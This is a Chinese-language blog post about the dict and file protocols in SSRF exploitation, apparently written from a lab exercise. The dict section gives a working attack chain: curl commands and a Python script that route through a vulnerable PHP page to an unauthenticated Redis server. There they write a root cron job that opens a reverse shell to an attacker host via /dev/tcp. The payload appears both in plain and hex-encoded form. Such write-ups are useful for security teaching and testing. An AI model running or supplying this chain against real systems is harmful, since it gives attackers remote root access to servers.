SSRF漏洞中使用到的其他协议

清明时节雨纷纷,路上行人欲断魂。



1、dict协议

定义:词典网络协议,在RFC 2009中进行描述。他的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。


dict协议在SSRF漏洞中的使用

gopher协议的使用需要满足的条件:

协议支持情况
PHP–wite-curlwrappers且php版本至少为5.3
Java小于JDK1.7
Curl低版本不支持
Perl支持
ASP.NET小于版本3

gopher协议虽然好用,但是满足的条件也不少。当gopher协议无法使用时,就可以考虑dict协议。

dict协议功能:

1、探测内网主机

2、探测端口的开放情况和指纹信息

3、执行命令

使用方式:

1、dict://serverip:port/命令:参数

2、向服务器的端口请求为【命令:参数】,并在末尾自动补上\r\n(CRLF),为漏洞利用增加了便利

3、dict协议执行命令要一条一条执行

使用条件:

必须是redis未设密码的情况下才可利用dict执行命令,否则即便知道密码也无法进行其他操作。因为在每一次发送命令的同时都需要进行身份认证,即第一次发送auth qianxun通过认证,第二次发送get name时还是提示要密码认证,说明redis是无记忆的。而dict只能一次执行一条命令,所以无法操作。


小实验

尝试使用dict协议执行redis命令:

(curl_exec.php为windows上搭建的具有ssrf漏洞的页面)

image-20210404113634255

如图所示,执行成功!

dict协议反弹shell

反弹shell的命令步骤:

curl dict://222.24.28.44:6379/set:mars:"\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\n"
curl dict://222.24.28.44:6379/config:set:dir:/etc/
curl dict://222.24.28.44:6379/config:set:dbfilename:crontab
curl dict://222.24.28.44:6379/bgsave

由于使用dict协议,命令需要一条一条的发送,所以我们先发送第一条设置字符串:

image-20210404121334471

回到主机,查看redis日志:

image-20210404121253821

如图所示,字符串中的字符依照空格被截成了若干短字符串,这样redis就无法实现了。

为了规避掉空格,我们需要对命令进行十六进制编码。

这样就避免了空格被分割:

curl dict://222.24.28.100:6379/set:mars:\"\x0a\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x72\x6f\x6f\x74\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x30\x2e\x31\x31\x39\x2f\x39\x39\x39\x39\x20\x30\x3e\x26\x31\x0a\"

我们再发送一次:

image-20210404163836650

image-20210404163937268

ok!

先在kali开启一个监听端口:

image-20210404155233394

然后再依次执行下面的命令:

image-20210404141509009

回到kali,成功反弹shell!

image-20210404155220892

为了方便复现,编写一个python脚本:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib.request
import binascii
from urllib.parse import quote
url = "http://222.24.28.207/ssrf/curl_exec.php?url="
target = "dict://222.24.28.100:6379/"
cmds = ['set:mars:\\\\"\\n* * * * * root bash -i >& /dev/tcp/222.24.28.44/9999 0>&1\\n\\\\"',
       "config:set:dir:/etc/",
       "config:set:dbfilename:crontab",
       "bgsave"]

for cmd in cmds:          #将命令逐条发送
    cmd_encoder = ""
    for single_char in cmd:
        # 先转为ASCII
        cmd_encoder += hex(ord(single_char)).replace("0x","")    #将命令转换为十六进制
    cmd_encoder = binascii.a2b_hex(cmd_encoder)     #再转换成二进制
    print(cmd_encoder)
    cmd_encoder = quote(cmd_encoder,'utf-8')    #对转换成的二进制再url编码
    payload = url + target + cmd_encoder
    print(payload)
    request = urllib.request.Request(payload)
    response = urllib.request.urlopen(request).read()

先在kali上开启一个监听端口:

image-20210404155233394

运行脚本程序:

image-20210404155306969

切换到centos查看/etc/crontab,发现命令已成功写入:

image-20210404155347969

回到kali,成功反弹shell:

image-20210404155220892


2、file协议

file协议主要用于访问本地计算机中的文件,命令格式为:

file://文件绝对路径

例如:

image-20210404170508750

file协议和http协议有什么区别呢?

  • file协议主要用于读取服务器本地文件,访问的是本地的静态资源
  • http是访问本地的html文件,相当于把本机当作http服务器,通过http访问服务器,服务器再去访问本地资源。简单来说file只能静态读取,http可以动态解析
  • http服务器可以开放端口,让他人通过http访问服务器资源,但file不可以
  • file对应的类似http的协议是ftp协议(文件传输协议)
  • file不能跨域

后记

但很多时候我们利用ssrf漏洞去攻击内网服务器的时候,并不知道内网中有什么样的应用、IP地址是多少、开放了什么端口、端口对应的服务是什么。所以需要先对内网做IP+端口的扫描,如果开放的服务是redis才能使用上文讲到的利用方法,对于不同的应用有不同的扫描方法,例如,redis的扫描可以请求以下内容来根据回显内容进行判断是否为redis,其他的服务也是同样道理,只要知道服务的指纹,然后与自己的指纹库进行比对即可:

image-20210404165751372
参考文章

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值